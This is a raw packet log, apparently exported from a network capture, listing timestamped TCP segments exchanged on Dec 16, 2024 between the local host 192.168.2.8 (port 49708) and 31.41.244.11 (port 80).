Dec 16, 2024 17:02:11.749360085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.749416113 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.749416113 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.752649069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.752667904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.752684116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.752707005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.752726078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.753098011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.753146887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.753146887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.753163099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.753187895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.753206015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.753767014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.753787041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.753818989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.753832102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.754796028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.754812956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.754861116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.755820036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.755886078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.756814003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.756830931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.756863117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.756875038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.757287979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.757334948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.758033037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.758049011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.758081913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.758097887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.759483099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.759532928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.759612083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.759656906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.760425091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.760473013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.760710955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.760766983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.761301994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.761349916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.761508942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.761554956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.762303114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.762320042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.762348890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.762372017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.763367891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.763417959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.764364004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.764380932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.764437914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.764496088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.764544010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.765568972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.765625954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.766633034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.766694069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.766724110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.766740084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.766772032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.766793013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.767697096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.767750025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.768223047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.768275976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.769013882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.769030094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.769066095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.769102097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.770412922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.770468950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.770747900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.770803928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.771450996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.771498919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.772254944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.772358894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.772362947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.772387028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.772401094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.772420883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.773408890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.773472071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.773576975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.773627043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.774468899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.774519920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.774552107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.774600983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.775300026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.775351048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.776223898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.776240110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.776271105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.776360035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.776393890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.776432991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.777261972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.777311087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.777453899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.777497053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.778412104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.778428078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.778455973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.778471947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.779618025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.779676914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.779964924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.780015945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.780580044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.780596018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.780628920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.780647039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.781796932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.781853914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.782624006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.782737970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.782767057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.782783985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.782813072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.782839060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.783910036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.783958912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.785294056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.785310030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.785351038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.785367966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.785744905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.785797119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.786251068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.786307096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.786313057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.786360025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.787179947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.787230015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.788053989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.788069963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.788100004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.788115978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.788801908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.788847923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.789271116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.789288044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.789310932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.789330959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.790333033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.790352106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.790411949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.791353941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.791405916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.792131901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.792179108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.792438984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.792516947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.793528080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.793544054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.793572903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.793584108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.793728113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.793775082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.794790030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.794852972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.795722961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.795738935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.795774937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.795794964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.795855045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.795903921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.796679974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.796732903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.796849966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.796897888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.797813892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.797862053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.798883915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.798933983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.798962116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.798979998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.799005032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.799025059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.799943924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.799995899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.800158978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.800198078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.801110029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.801168919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.801225901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.801273108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.802129984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.802184105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.802371979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.802426100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.803210020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.803267956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.803565979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.803620100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.804253101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.804301977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.939696074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.939726114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.939917088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.940218925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.940277100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.940290928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.940332890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.940958977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.941015005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.941102982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.941145897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.942011118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.942059994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.942382097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.942429066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.943090916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.943135977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.943840981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.943953991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.946682930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.946742058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.946858883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.946872950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.946888924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.946902990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.946906090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.946918964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.946926117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.946980000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.947751999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.947808027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.948128939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.948175907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.948838949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.948885918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.948987961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.949033976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.949768066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.949809074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.950799942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.950846910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.950985909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.950999975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.951025963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.951045990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.952266932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.952312946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.952445984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.952491045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.953080893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.953135014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.953907967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.953922987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.953938007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.953954935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.953972101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.953989983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.956279039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.956329107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.956928968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.956975937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.957119942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.957135916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.957160950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.957179070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.957720995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.957736969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.957767963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.957781076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.958677053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.958723068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.959002018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.959047079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.959920883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.959934950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.959968090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.959981918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.960617065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.960665941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.960779905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.960824013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.961756945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.961806059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.961988926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.962033987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.962827921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.962876081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.963665962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.963709116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.964035034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.964051008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.964081049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.964095116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.965065002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.965080023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.965112925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.965126991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.966120958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.966167927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.966295004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.966336966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.966871977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.966916084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.967243910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.967292070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.967968941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.968044043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.968229055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.968276978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.969101906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.969151974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.969181061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.969227076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.970166922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.970257044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.970720053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.970767975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.971285105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.971301079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.971330881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.971354008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.972347975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.972394943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.972807884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.972855091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.973385096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.973431110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.973480940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.973526955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.974420071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.974467039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.974836111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.974881887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.975605011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.975651026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.975831032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.975881100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.976548910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.976562977 CET	80	49708	31.41.244.11	192.168.2.8
